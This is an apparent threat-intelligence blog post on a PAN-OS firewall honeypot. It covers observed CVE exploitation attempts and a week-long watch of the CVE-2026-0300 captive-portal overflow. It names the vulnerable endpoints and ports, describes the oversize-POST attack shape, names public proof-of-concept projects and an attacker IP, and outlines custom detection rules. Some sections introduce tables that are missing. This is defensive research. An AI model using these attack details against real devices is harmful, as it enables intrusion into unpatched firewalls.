Threat Intelligence Feed

← Back to Honeypot Data

What We Deployed

The honeypot presents itself as a Palo Alto PAN-OS firewall management interface, complete with five distinct services that real PAN-OS devices expose:

Each instance has a unique identity — different model, serial number, TLS certificate, and PAN-OS version — so no two sensors share fingerprints visible to scanners.

CVE Detection — What We’re Watching For

Palo Alto firewalls have been the target of multiple critical vulnerabilities in 2024–2025. Our honeypot detects exploitation attempts for five actively exploited CVEs:

CVE Exploitation — What We Actually Saw

The original version of this post said “no CVE exploits observed yet.” That is no longer true. After two weeks of internet exposure across both sensors, the honeypot has captured 90 distinct CVE-exploitation attempts against four of the five monitored CVEs:

CVE-2024-0012 leading the table is consistent with reports from Censys, Greynoise, and Palo Alto’s own Unit 42 advisories — the X-PAN-AUTHCHECK auth-bypass is trivially scriptable and indexes well in scanner playbooks. By contrast we have not seen a single CVE-2021-3064 attempt: HTTP smuggling requires a more delicate request-pair and isn’t a fit for spray-and-pray scanning.

What Attackers Do When They Find Your PAN-OS

Two weeks of observation across both sensors makes the reconnaissance pattern much clearer than the early-snapshot version of this post. The four phases are still recognisable but the volumes have grown an order of magnitude:

SSH CLI — What Happens After Login

Our SSH honeypot on port 2200 accepts all credentials and presents an interactive PAN-OS shell. Over 1,000 SSH sessions were recorded, with attackers running reconnaissance commands and attempting configuration changes:

PAN-OS vs FortiGate — Attack Pattern Comparison

We run both PAN-OS and FortiGate honeypots on the same sensors. The attack patterns differ significantly:

Key Findings

CVE-2026-0300 — Captive Portal Buffer Overflow: 7-Day Live Observation

On 2026-05-06 Palo Alto Networks disclosed CVE-2026-0300 — an unauthenticated stack buffer overflow in the User-ID captive-portal component of PAN-OS, reachable on the dedicated captive-portal ports (TCP 4443, 6080, 6081, 6082) without any credential. We already had captive-portal ports live on all three sensors. We wrote 11 custom Suricata detection rules (SIDs 9026300–9026310) on disclosure day and tracked the pre-patch operator pool for seven days until the vendor patch landed on 2026-05-13.

The short version: the actual CVE attack shape — oversize POST body to /php/uid.php with buffer-overflow padding — was never observed in the wild on our sensors during the seven-day window. What we did observe was more revealing about how operators behave in the days between a disclosure and its patch.

The vulnerability

The affected endpoints (/php/uid.php, /php/login.php, /php/captiveportal.php) are served on separate TCP ports that are exposed by default when the captive-portal feature is enabled — independent of whether the management WebUI is internet-accessible. A single unauthenticated POST with a sufficiently large body can overflow a stack buffer in the C-based User-ID backend. No authentication, no prior session, no special headers required. Proof-of-concept code (qassam-315, p3Nt3st3r-sTAr) was public on disclosure day.

Operators we observed — by behaviour, not by name

The detection engineering story

We iterated the rule set across all seven days as we observed new evasion shapes. Three additions were driven by real traffic, not theory:

• SID 9026305 (TCP-layer A-run, 2026-05-10). After the 94.198.216.188 exploit attempt, Suricata logged the flow as app_proto:tls (the A-run preamble looked like TLS garbage). Our HTTP-layer rules never engaged. We added a TCP-layer fallback that fires regardless of what Suricata thinks the application protocol is. It fired correctly the next time.
• SID 9026310 (forensic filestore, 2026-05-09). An earlier probe sent a 2120-byte body that fast.log showed as alerting on DEV but not slim. The cause: request_body was empty even though the body reached libhtp’s file-extract layer. We added a filestore-keyword rule that routes any captive-portal POST through libhtp’s file pipeline for forensic retention — independent of the alert-engine buffer.
• SID 9026307 (self-doxxing CVE UA, 2026-05-12). Two operators advertised the CVE number directly in their User-Agent string. We generalised both patterns into one rule covering panos-cve-NNNN-NNNNN-* and CVE-NNNN-NNNNN-Checker forms, so a future CVE in this family costs us zero extra rules.

Patch day outcome

Data captured by HoneyLens sensor network across 3 deployment sites between 12 Apr and 13 May 2026. The PAN-OS honeypot implements 6 CVE detections (5 original + CVE-2026-0300) with 33 distinct attack-type classifications plus 11 custom Suricata rules for the captive-portal BoF surface. Each instance uses a unique identity (serial, TLS certificate, hostname) to prevent cross-sensor fingerprint correlation.